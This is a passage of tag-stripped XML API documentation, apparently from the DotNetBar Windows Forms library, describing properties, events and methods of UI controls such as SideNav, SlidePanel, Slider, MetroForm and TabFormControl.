Sender. + Event arguments + + + + Gets or sets the scroll-bar visual style. + + + + + Paints ListBoxItem. + + Provides arguments for the operation. + + + + Paints ListBoxItem. + + Provides arguments for the operation. + + + + Represents SideNav control to create "hamburger" menus. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Updates the control colors from the global color table. + + + + + Maximizes control width so it fills up space to the right of the control. + + Source of the event. + + + + Restores the control to previous size if it was maximized before. + + Source of event. + + + + Opens the control, i.e. expands it, selects specified item and shows its associated panel. + + Item to select. + Source of the event. + + + + Closes the control, i.e. unselects any selected item, hide its associated panel and folds the control. + + Source of the event. + + + + Raises IsMenuExpandedChanged event. + + Provides event arguments. + + + + Expands or collapses the control items menu. + + + + + + Called when AnimationTime property has changed. + + Old property value + New property value + + + + Raises BeforeMaximize event. + + Provides event arguments. + + + + Raises BeforeRestore event. + + Provides event arguments. + + + + Raises BeforeOpen event. + + Provides event arguments. + + + + Raises BeforeClose event. + + Provides event arguments. + + + + Raises SelectedItemChanged event. + + Provides event arguments. + + + + Indicates whether splitter that is located on right hand side of open control is visible and enabled. + + + + + Indicates whether button which folds/closes the control is visible. + + + + + + Returns collection of items on a bar. + + + + + Gets or sets whether control is closed, i.e. whether selected item panel is shown or not. When closed + any selected item is unselected and selected panel hidden. + + + + + Indicates whether side menu is expanded, i.e. shows both image and text. When menu is collapsed only image is shown. + + + + + Occurs when IsMenuExpanded property has changed its value. + + + + + Indicates the animation time in milliseconds for operations that perform visual animation of transition. Set to zero to disable animation. + + + + + Occurs before the control is maximized and allows you to cancel that. + + + + + Occurs before the control is restored and allows you to cancel that. + + + + + Occurs before the control is opened and allows you to cancel that. + + + + + Occurs before the control is closed and allows you to cancel that. + + + + + Gets currently selected item. Only items with Panel assigned can be selected. + + + + + Occurs when SelectedItem changes. + + + + + Gets reference to internal SideNavStrip control. + + + + + Defines delegate for the CancelSource events. + + + + + + + Event arguments for CancelSourceEventHandler + + + + + Gets the source of the event. + + + + + Gets any optional data that is associated with the event. + + + + + Creates new instance of the object. + + Source of event + + + + Creates new instance of the object. + + Source of event + Optional data associated with the event. + + + + Initializes a new instance of the MetroTabItem class. + + + + + Selects the tab. + + + + + Called after Checked property has changed. + + + + + Occurs just before Click event is fired. + + + + + Called when Visibility of the items has changed. + + New Visible state. + + + + Occurs after item visual style has changed. + + + + + Gets or sets cached image rendering bounds. + + + + + Gets or sets cached text rendering bounds. + + + + + Gets or sets the panel assigned to this tab item. + + + + + Gets or set the Group item belongs to. The groups allows a user to choose from mutually exclusive options within the group. The choice is reflected by Checked property. + + + + + Returns the collection of sub items. + + + + + Indicates the array of colors that when set are used to draw the background of the item. + + + + + Indicates the array of colors that when set are used to draw the border of the item. + + + + + Gets or sets the additional padding added around the tab item in pixels. Default value is 0. + + + + + Indicates an optional title for the associated panel. If not set item text is used. + + + + + Gets or sets whether this item acts as the SideNav control system menu which collapses and expands the SideNav items. + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Indicates whether the item will auto-expand when clicked. + When item is on top level bar and not on menu and contains sub-items, sub-items will be shown only if user + click the expand part of the button. Setting this propert to true will expand the button and show sub-items when user + clicks anywhere inside of the button. Default value is false which indicates that button is expanded only + if its expand part is clicked. + + + + + Gets or sets whether item can be customized by end user. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets a value indicating whether the item is enabled. + + + + + Indicates item's visiblity when on pop-up menu. + + + + + Indicates when menu items are displayed when MenuVisiblity is set to VisibleIfRecentlyUsed and RecentlyUsed is true. + + + + + Indicates Animation type for Popups. + + + + + Indicates the font that will be used on the popup window. + + + + + Indicates whether sub-items are shown on popup Bar or popup menu. + + + + + Specifies the inital width for the Bar that hosts pop-up items. Applies to PopupType.Toolbar only. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Gets or sets the width of the expand part of the button item. + + + + + Gets or set the alternative shortcut text. + + + + + Gets or sets whether item separator is shown before this item. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Gets or sets the text color of the button when mouse is over the item. + + + + + Indicates the way item is painting the picture when mouse is over it. Setting the value to Color will render the image in gray-scale when mouse is not over the item. + + + + + Gets/Sets the button style which controls the appearance of the button elements. Changing the property can display image only, text only or image and text on the button at all times. + + + + + Provides data for the SideNavItem rendering events. + + + + + Gets or sets the reference to the item being rendered. + + + + + Gets or sets the reference to graphics object. + + + + + Indicates whether to cancel system rendering of the item. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the ListBoxItem being rendered. + Reference to the graphics object. + + + + Defines color table for SideNav control. + + + + + Gets or sets the color table for SideNavItem + + + + + Gets or sets the background color of SideNav title bar. + + + + + Gets or sets the border color of the title of SideNav control. + + + + + Gets or sets the color of the strip which hosts the items. + + + + + Gets or sets the border color of the SideNav control. + + + + + Gets or sets the back color of panels that are attached to SideNavItem and displayed when SideNavItem is selected. + + + + + Defines color table for SideNavItem + + + + + Gets or sets the color table for Default state. + + + + + Gets or sets the color table for MouseOver state. + + + + + Gets or sets the color table for Pressed state. + + + + + Gets or sets the color table for Selected state. + + + + + Defines state color table for SideNavItem + + + + + Indicates item text color. + + + + + Gets or sets the background colors for the item. + + + + + Gets or sets the back colors gradient angle if there is more than one color in BackColors array. + + + + + Gets or sets the gradient colors positions if there is more than one color in BackColors array. + + + + + Gets or sets the border colors for the item. + + + + + Indicates the corner radius. + + + + + Represents a panel which hosts controls for the SideNavItem. + + + + + Raises NonClientSizeChanged event. + + Provides event arguments. + + + + Raises ScrollBarValueChanged event. + + Provides event arguments. + + + + Raises NonClientSizeChanged event. + + Provides event arguments. + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Returns collection of items on a bar. + + + + + Gets currently selected item. + + + + + Represents the panel which can slide out and into the view. + + + + + Raises IsOpenChanged event. + + Provides event arguments. + + + + Called when SlideSide property has changed. + + Old property value + New property value + + + + Called when IsOpen property has changed. + + Old property value + New property value + + + + Slides panel into the view. + + + + + Waits for current slide animation to finish and then returns control. + + + + + Slides panel out of the view. + + + + + Called when AnimationTime property has changed. + + Old property value + New property value + + + + Called when SlideOutButtonVisible property has changed. + + Old property value + New property value + + + + Called when SlideOutButtonSize property has changed. + + Old property value + New property value + + + + Returns whether property should be serialized. + + + + + Resets property to default value. + + + + + Called when SlideOutActiveButtonSize property has changed. + + Old property value + New property value + + + + Returns whether property should be serialized. + + + + + Resets property to default value. + + + + + Called when SlideOutButtonStyle property has changed. + + Old property value + New property value + + + + Called when CenterContent property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Occurs when IsOpen property value has changed, i.e. slide-panel is shown or hidden. + + + + + Gets or sets side panel slides into. + + + + + Gets or sets whether panel is open. When this property is changed panel will slide in or out of the view. + + + + + Gets or sets whether panel uses modal animation, meaning when IsOpen property is set the call is not returned until animation is complete. + + + + + Gets or sets the open panel bounds. When control IsOpen=false and panel is collapsed its original bounds are stored in OpenBounds property and restored once panel is open. + + + + + Gets or sets the animation duration time in milliseconds. Setting this property to 0 will disable slide animation. + + + + + Gets or sets whether slide out button is shown when panel is out of the view and which allows panel to be shown. + + + + + Gets or sets the slide-out buttton size in default state. + + + + + Gets or sets active (mouse over) slide out button size. + + + + + Gets or sets slide-out button style. + + + + + Gets or sets whether panel centers the Controls inside of it. Default value is false. + + + + + Gets or sets the color of the Symbol displayed on slideout button. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the slideout button. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Defines the side SlidePanel slides into. + + + + + Represents the slider button that is used by SlidePanel when collapsed to slide it back into the view. + + + + + Initializes a new instance of the SliderButton class. + + + + + + Called when AutoTopMostEnabled property has changed. + + Old property value + New property value + + + + Called when SliderSize property has changed. + + Old property value + New property value + + + + Called when ActiveSliderSize property has changed. + + Old property value + New property value + + + + Called when IsActive property has changed. + + Old property value + New property value + + + + Called when IsMouseDown property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Gets or sets whether slider button automatically checks whether its top-most control on the form, i.e. visible at all times on top of other controls + + + + + Gets or sets the slider size in default state. Notice that size specified here applies to Left and Right SlidePanel positions. For Top and Bottom positions the Width and Height are interchaged. + + + + + Gets or sets the slider size in active state. Notice that size specified here applies to Left and Right SlidePanel positions. For Top and Bottom positions the Width and Height are interchaged. + + + + + Gets or sets whether slider button is in active state. + + + + + Gets or sets the style associated with the control. + + + + + Gets or sets the color of the Symbol. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Represents the Slider control. + + + + + Raises the IncreaseButtonClick event. + + Provides event arguments + + + + Raises the DecreaseButtonClick event. + + Provides event arguments + + + + Raises the ValueChanged event. + + Provides event arguments + + + + Raises the ValueChanging event. + + + + + Advances the current position of the slider by the amount of the Step property. + + + + + Returns whether property should be serialized. Used by Windows Forms designer. + + + + + Resets the property to default value. Used by Windows Forms designer. + + + + + Forces the button to perform internal layout. + + + + + Called when Command property value changes. + + + + + Occurs after Value property has changed. + + + + + Occurs before Value property has changed. + + + + + Occurs when Increase button is clicked using mouse. + + + + + Occurs when Decrease button is clicked using mouse. + + + + + Gets or sets whether text-markup support is enabled for controls Text property. Default value is true. + Set this property to false to display HTML or other markup in the control instead of it being parsed as text-markup. + + + + + Gets or sets the text label position in relationship to the slider. Default value is Left. + + + + + Gets or sets whether the text label next to the slider is displayed. + + + + + Gets or sets the width of the label part of the item in pixels. Value must be greater than 0. Default value is 38. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets or sets the current position of the slider. + + + + + Gets or sets the amount by which a call to the PerformStep method increases the current position of the slider. Value must be greater than 0. + + + + + Gets or sets the color of the label text. + + + + + Gets or sets whether vertical line track marker is displayed on the slide line. Default value is true. + + + + + Gets or sets the tooltip for the Increase button of the slider. + + + + + Gets or sets the tooltip for the Decrease button of the slider. + + + + + Gets or sets the slider orientation. Default value is horizontal. + + + + + Gets the SliderItem. + + + + + Gets or sets the custom color table for the item. Color table here will override all system color table settings. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Represents the control which displays symbol from symbols library. + + + + + Initializes a new instance of the SymbolBox class. + + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrieved from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Resets style to default value. Used by windows forms designer. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Specifies the background style of the control. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Gets or sets the color of the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the name of the color table. + + + + + Gets or sets the default tab colors. + + + + + Gets or sets the disabled tab colors. + + + + + Gets or sets the selected tab colors. + + + + + Gets or sets the colors when mouse is over the tab but tab is not selected. + + + + + Gets or sets colors for the tab close button. + + + + + Defines the color table for RibbonTabItem states. + + + + + Indicates item text color. + + + + + Gets or sets the background colors for the item. + + + + + Gets or sets the back colors gradient angle if there is more than one color in BackColors array. + + + + + Gets or sets the gradient colors positions if there is more than one color in BackColors array. + + + + + Gets or sets the item border colors. + + + + + Creates a copy of the state color table. + + + + + Defines color table for TabFormItem close button displayed on tabs. + + + + + Colors for the button in default state. + + + + + Colors for button in mouse over state. + + + + + Colors for button when pressed with mouse state. + + + + + Defines state color table for TabFormItem close button displayed on tabs. + + + + + Gets or sets the background colors for the item. + + + + + Gets or sets the back colors gradient angle if there is more than one color in BackColors array. + + + + + Gets or sets the gradient colors positions if there is more than one color in BackColors array. + + + + + Indicates item sign color. + + + + + Indicates item border color. + + + + + Gets or sets color table used by renderer. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets the reference to TabParentForm being rendered. + + + + + Indicates whether to cancel system rendering of the item. + + + + + Raises PrepareModalPanelBounds event. + + Provides event arguments. + + + + Initializes a new instance of the MetroForm class. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Shows the panel control in the center of the form and covers all non system controls making the panel effectively modal. + + Control to show. + + + + Shows the panel control in the center of the form by sliding it in from specified side and covers all non system controls making the panel effectively modal. + + Panel to show. + Side to slide panel into the view from. + + + + Shows the panel control in the center of the form by sliding it in from specified side and covers all non system controls making the panel effectively modal. + + Panel to show. + Side to slide panel into the view from. + Slide animation speed in milliseconds. + + + + Hides the panel control that was previously shown using ShowModalPanel method. + + Control to hide. + + + + Hides the panel control that was previously shown using ShowModalPanel method by sliding it out of the view to the specified side. + + Control to hide. + Side to slide control into. + + + + Gets effective Border Thickness for the form. + + Thickness + + + + Called when BorderThickness property has changed. + + Old property value + New property value + + + + Called when BorderColor property has changed. + + Old property value + New property value + + + + Called when WM_NCHITTEST message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Called when WM_DWMCOMPOSITIONCHANGED message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Called when WM_NCACTIVATE message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Called when WM_NCCALCSIZE message is received. + + Message structure. + true to call base WndProc otherwise false. + + + + Occurs before modal panel is shown and allows change of modal panel bounds. + + + + + Gets or sets whether MetroShell is pre-rendered when form is shown to make first rendering smoother. Default value is true. + + + + + Gets whether at least one modal panel is displayed. + + + + + Indicates whether modal panel when displayed shows MetroStatusBar. + + + + + Returns whether Windows Glass effects are enabled. + + + + + Gets or sets the TabFormControl that is hosted by this form. This property is for internal use only. + + + + + Gets or sets whether form can be resized. + + + + + Gets or sets the form border thickness. Default value is empty thickness which indicates that thickness is taken from color table. + + + + + Gets or sets the form border colors. + + + + + Gets whether form is active. + + + + + Indicates the number of pixels subtracted from form's height or width (depending on taskbar position) when form is maximized and taskbar is in auto-hide state. Default value is 4. + + + + + This property is not to be used with MetroForm. + + + + + Gets or sets the size of the border on the edges of the form that when mouse is over allow for form resizing. + + + + + Indicates whether Close button in top-right corner of the form is visible. + + + + + This property cannot be used on MetroAppForm + + + + + This property cannot be used on MetroAppForm + + + + + This property cannot be used on MetroAppForm + + + + + This property cannot be used on MetroAppForm + + + + + Gets or sets text for form system menu Restore item. + + + + + Gets or sets text for form system menu Move item. + + + + + Gets or sets text for form system menu Size item. + + + + + Gets or sets text for form system menu Minimize item. + + + + + Gets or sets text for form system menu Maximize item. + + + + + Gets or sets text for form system menu Close item. + + + + + Represents Tabbed Forms control for creating tabbed user interface as replacement for MDI child forms. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Performs the setup of the TabFormPanel with the current style of the TabFormControl Control. + + Panel to apply style changes to. + + + + Creates new Tab at specified position, creates new associated panel and adds them to the control. + + Specifies the text displayed on the tab. + Specifies the name of the tab + Specifies the position of the new tab inside of Items collection. + New instance of the TabFormItem that was created. + + + + Creates new Tab and associated panel and adds them to the control. + + Specifies the text displayed on the tab. + Specifies the name of the tab + New instance of the TabFormItem that was created. + + + + Recalculates layout of the control and applies any changes made to the size or position of the items contained. + + + + + Occurs when text markup link is clicked. + + + + + Raises CreateNewTab event. + + Provides event arguments. + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Occurs when Item on control is clicked. + + + + + Occurs after selected tab has changed. You can use + TabFormControl.SelectedTab + property to get reference to newly selected tab. + + + + + Occurs when text markup link from TitleText markup is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Returns current number of tabs visile and hiden on the tab strip. + + + + + Indicates whether Form.Icon is shown in top-left corner. + + + + + + Gets or sets the Context menu bar associated with the this control which is used as part of Global Items feature. The context menu + bar assigned here will be used to search for the items with the same Name or GlobalName property so global properties can be propagated when changed. + You should assign this property to enable the Global Items feature to reach your ContextMenuBar. + + + + + Gets or sets whether custom caption and quick access toolbar provided by the control is visible. Default value is false. + This property should be set to true when control is used on MetroAppForm. + + + + + Gets or sets the font for the form caption text when CaptionVisible=true. Default value is NULL which means that system font is used. + + + + + Gets or sets the explicit height of the caption provided by control. Caption height when set is composed of the TabGroupHeight and + the value specified here. Default value is 0 which means that system default caption size is used. + + + + + Specifies the background style of the control. + + + + + Gets or sets the currently selected TabFormItem. TabFormItems are selected using the Checked property. Only a single + TabFormItem can be selected (Checked) at any given time. + + + + + Indicates whether new tab item which allows creation of new tab when clicked is visible. When visible you need to handle CreateNewTab event and create your new tab in event handler. + + + + + Occurs when new tab item is clicked by end user and allows you to create and add new tab to the control. + + + + + Returns reference to internal tab-strip control. + + + + + Returns collection of items on a bar. + + + + + Gets collection of items displayed in control captions, if it is visible (CaptionVisible=true). + + + + + Gets or sets the custom color table for the control. When set this color table overrides all system color settings for control. + + + + + Gets or sets whether mouse wheel scrolls through the tabs. Default value is true. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Gets or sets a value indicating whether the user can give the focus to this control using the TAB key. Default value is false. + + + + + Gets or sets the side tab-strip is docked to. + + + + + Gets or sets the font tab items are displayed with. + + + + + Gets or sets whether this TabFormControl was auto-created as result of end-user tearing off the tab. + + + + + Specifies dock side for tab form strip control. + + + + + Represents a tab in Tabbed Form user interface. + + + + + Initializes a new instance of the TabFormItem class. + + + + + Selects the tab. + + + + + Called after Checked property has changed. + + + + + Occurs just before Click event is fired. + + + + + Called when Visibility of the items has changed. + + New Visible state. + + + + Occurs after item visual style has changed. + + + + + Gets color table key for the default tab color table. + + + + + Gets color table key for the green tab color table. + + + + + Gets color table key for the magenta tab color table. + + + + + Gets color table key for the orange tab color table. + + + + + Gets color table key for the red tab color table. + + + + + Gets color table key for the blue tab color table. + + + + + Gets color table key for the yellow tab color table. + + + + + Gets color table key for the purple tab color table. + + + + + Gets color table key for the cyan tab color table. + + + + + Gets color table key for the blue mist tab color table. + + + + + Gets color table key for the purple mist tab color table. + + + + + Gets color table key for the tan tab color table. + + + + + Gets color table key for the lemon lime tab color table. + + + + + Gets color table key for the apple tab color table. + + + + + Gets color table key for the teal tab color table. + + + + + Gets color table key for the red chalk tab color table. + + + + + Gets color table key for the silver tab color table. + + + + + Gets or sets the close button bounds. + + + + + Gets or sets cached image rendering bounds. + + + + + Gets or sets cached text rendering bounds. + + + + + Gets or sets the additional padding added around the tab item in pixels. Default value is 0. + + + + + Indicates whether close button is visible on the tabs which when clicked closes the tab. Default value is true. + + + + + Gets or sets whether size of the tab has been reduced below the default calculated size. + + + + + Gets or sets the predefined color of the tab. Default value is eTabFormItemColor.Default + + + + + Gets or sets the panel assigned to this tab item. + + + + + Gets or set the Group item belongs to. The groups allows a user to choose from mutually exclusive options within the group. The choice is reflected by Checked property. + + + + + Returns the collection of sub items. + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Indicates whether the item will auto-expand when clicked. + When item is on top level bar and not on menu and contains sub-items, sub-items will be shown only if user + click the expand part of the button. Setting this propert to true will expand the button and show sub-items when user + clicks anywhere inside of the button. Default value is false which indicates that button is expanded only + if its expand part is clicked. + + + + + Gets or sets whether item can be customized by end user. + + + + + Gets or set a value indicating whether tab is selected. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets a value indicating whether the item is enabled. + + + + + Indicates item's visiblity when on pop-up menu. + + + + + Indicates when menu items are displayed when MenuVisiblity is set to VisibleIfRecentlyUsed and RecentlyUsed is true. + + + + + Indicates Animation type for Popups. + + + + + Indicates the font that will be used on the popup window. + + + + + Indicates whether sub-items are shown on popup Bar or popup menu. + + + + + Specifies the inital width for the Bar that hosts pop-up items. Applies to PopupType.Toolbar only. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Gets or sets the width of the expand part of the button item. + + + + + Gets or set the alternative shortcut text. + + + + + Gets or sets whether item separator is shown before this item. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Gets or sets the text color of the button when mouse is over the item. + + + + + Indicates the way item is painting the picture when mouse is over it. Setting the value to Color will render the image in gray-scale when mouse is not over the item. + + + + + Gets/Sets the button style which controls the appearance of the button elements. Changing the property can display image only, text only or image and text on the button at all times. + + + + + Indicates the array of colors that when set are used to draw the background of the item. + + + + + Gets or sets the custom color table for the tab. When set this color table overrides all color settings for a tab. + + + + + Specifies predefined color assigned to Tab Form Item. + + + + + Gets the TabFormItem this panel is associated with + + + + + Defines state color table for TabParentForm. + + + + + Gets or sets the colors for the top part of the background. + + + + + Gets or sets the back colors gradient angle if there is more than one color in BackColors array. + + + + + Gets or sets the gradient colors positions if there is more than one color in BackColors array. + + + + + Gets or sets the color of caption text. + + + + + Gets or sets the border colors. + + + + + Defines the internal container item for the ribbon strip control. + + + + + Creates new instance of the class and initializes it with the parent RibbonStrip control. + + Reference to parent RibbonStrip control + + + + Occurs after an item has been added to the container. This procedure is called on both item being added and the parent of the item. To distinguish between those two states check the item parameter. + + When occurring on the parent this will hold the reference to the item that has been added. When occurring on the item being added this will be null (Nothing). + + + + Paints this base container + + + + + Returns copy of GenericItemContainer item + + + + + Raises CreateNewTab event. + + Provides event arguments. + + + + Return Sub Item at specified location + + + + + Gets the list of the items displayed in form caption if its visible. + + + + + Gets or sets the scroll button width. + + + + + Indicates the scroll in pixels each time scroll button is pressed. + + + + + Gets reference to internal ribbon strip container that contains tabs and/or other items. + + + + + Gets reference to internal caption container item that contains the quick toolbar, start button and system caption item. + + + + + Indicates whether new tab item which allows creation of new tab when clicked is visible. When visible you need to handle CreateNewTab event and create your new tab in event handler. + + + + + Occurs when new tab item is clicked by end user and allows you to create and add new tab to the control. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + When parent items does recalc size for its sub-items it should query + image size and store biggest image size into this property. + + + + + + Represents simple item container which orders items horizontally and support all ItemAlignment settings. + + + + + Initializes a new instance of the SimpleItemContainer class. + + + + + Returns copy of the item. + + + + + Copies the item specific properties to new instance of the item. + + New instance. + + + + Copies the item specific properties to new instance of the item. + + New instance. + + + + Sets whether container is used as system container internally by DotNetBar. + + true or false to indicate whether container is system container or not. + + + + Called when ItemSpacing property has changed. + + Old property value + New property value + + + + Gets or sets the minimum size of the container. Either Width or Height can be set or both. Default value is 0,0 which means + that size is automatically calculated. + + + + + Returns whether instance of the item container is used as system container internally by DotNetBar. + + + + + Indicates the spacing between items. + + + + + Indicates additional spacing between item when its BeginGroup property is set. + + + + + Specifies the layout orientation + + + + + Indicates whether all items are resized to be of the size equal to largest item in the container + + + + + Indicates left side padding within container. + + + + + Indicates right side padding within container. + + + + + Gets overlap spacing for specific item types specified by OverlapType in the container. + + + + + Gets the type of the item that will overlap. + + + + + Return Sub Item at specified location + + + + + Occurs after an item has been added to the container. This procedure is called on both item being added and the parent of the item. To distinguish between those two states check the item parameter. + + When occurring on the parent this will hold the reference to the item that has been added. When occurring on the item being added this will be null (Nothing). + + + + Occurs after an item has been removed. + + Item being removed. + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Represents tabbed UI strip control. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Occurs when text markup link is clicked. + + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrived from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Returns effective caption height. + + Caption height. + + + + Returns automatically calculated height of the control given current content. + + Height in pixels. + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Called when item on popup container is right-clicked. + + Instance of the item that is right-clicked. + + + + Starts moving of the parent form action which happens when user attempts to drag the form caption. + + + + + Returns true if point is inside the caption area. + + Client point coordinates. + True if point is inside of caption area otherwise false. + + + + Closes specified tab. + + Tab to close + Source of the event + + + + Raises RemovingToken event. + + Provides event arguments. + + + + Raises RemovingToken event. + + Provides event arguments. + + + + Raises BeforeTabFormItemDetach event. + + Provides event arguments. + + + + Raises TabFormItemDetach event. + + Provides event arguments. + + + + Occurs when text markup link from TitleText markup is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Gets or sets whether control can be customized and items added by end-user using context menu to the quick access toolbar. + Caption of the control must be visible for customization to be enabled. Default value is true. + + + + + Gets or sets the explicit height of the caption provided by control. Caption height when set is composed of the TabGroupHeight and + the value specified here. Default value is 0 which means that system default caption size is used. + + + + + Gets or sets whether custom caption line provided by the control is visible. Default value is false. + This property should be set to true when control is used on Office2007RibbonForm. + + + + + Gets or sets the font for the form caption text when CaptionVisible=true. Default value is NULL which means that system font is used. + + + + + Gets/Sets the visual style of the control. + + + + + Returns collection of items on a bar. + + + + + Returns currently selected TabFormItem. TabFormItems are selected using the Checked property. Only a single + TabFormItem can be Checked at any given time. + + + + + Indicates whether Form.Icon is shown in top-left corner. + + + + + Gets the reference to the internal container item for the items displayed in control caption. + + + + + Gets the reference to the internal container for the ribbon tabs and other items. + + + + + Indiciates the appearance of the tab form items rendered on the strip + + + + + Indicates whether end-user tab reordering is enabled, default value is true. + + + + + Indicates whether user can detach the tabs into the new forms using drag and drop. Default value is true. + + + + + Occurs before tab is closed and it allows canceling of the event. + + + + + Occurs after tab is closed. + + + + + Returns current number of tabs visile and hiden on the tab strip. + + + + + Indicates whether new tab item which allows creation of new tab when clicked is visible. When visible you need to handle CreateNewTab event and create your new tab in event handler. + + + + + Occurs before TabFormItem is detached and gives you opportunity to cancel the action or provide your own new TabParentForm and TabFormControl. + + + + + Occurs after TabFormItem has been detached and is added to the new form and tab control. + + + + + Defines delegate for the TabFormCloseTab event. + + + + + Defines delegate for the TabFormCloseTab event. + + + + + Allows to cancel the closing of the tab. + + + + + Reference to tab being closed. + + + + + Source of the event. + + + + + Defines delegate for the TabFormItemDetach event. + + + + + Defines delegate for the TabFormItemDetach event. + + + + + Gets or sets the reference to the form which will host newly detached TabFormItem and its panel, an instance of TabParentForm. You can provide your own instance of TabParentForm and TabControl to use instead of controls creating them. You must provide both TabParentForm and TabControl. Provide these in BeforeTabFormItemDetach event. + + + + + Gets or sets the reference to TabFormControl which will receive TabFormItem being dragged. If you provide your own TabParentForm and TabControl you must provide both. Provide these in BeforeTabFormItemDetach event. + + + + + Gets reference to the TabFormItem being detached. + + + + + Enables canceling of TabFormItem detachment from its parent. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets the reference to SwitchButtonItem being rendered. + + + + + Gets or sets the ItemPaintArgs reference. + + + + + Indicates whether to cancel system rendering of the item. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Raises CommandKeyDown event. + + Provides event arguments. + + + + Invalidates non-client area of the text box as response to the border changes. + + + + + Calculates and sets the text-box height based on font and style. This method is used internally and should not be used. + + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Invokes ButtonCustomClick event. + + + + + Invokes ButtonCustomClick2 event. + + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrived from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Occurs when ButtonCustom control is clicked. + + + + + Occurs when ButtonCustom2 control is clicked. + + + + + Indicates whether internal override for IsInputKey returns true for the Enter key. + + + + + Indicates whether all text is auto-selected when control gets input focus. Default value is false. + + + + + Gets or sets whether control prevents Beep sound when Enter key is pressed. + + + + + Gets or sets whether FocusHighlightColor is used as background color to highlight text box when it has input focus. Default value is false. + + + + + Gets or sets the color used as background color to highlight text box when it 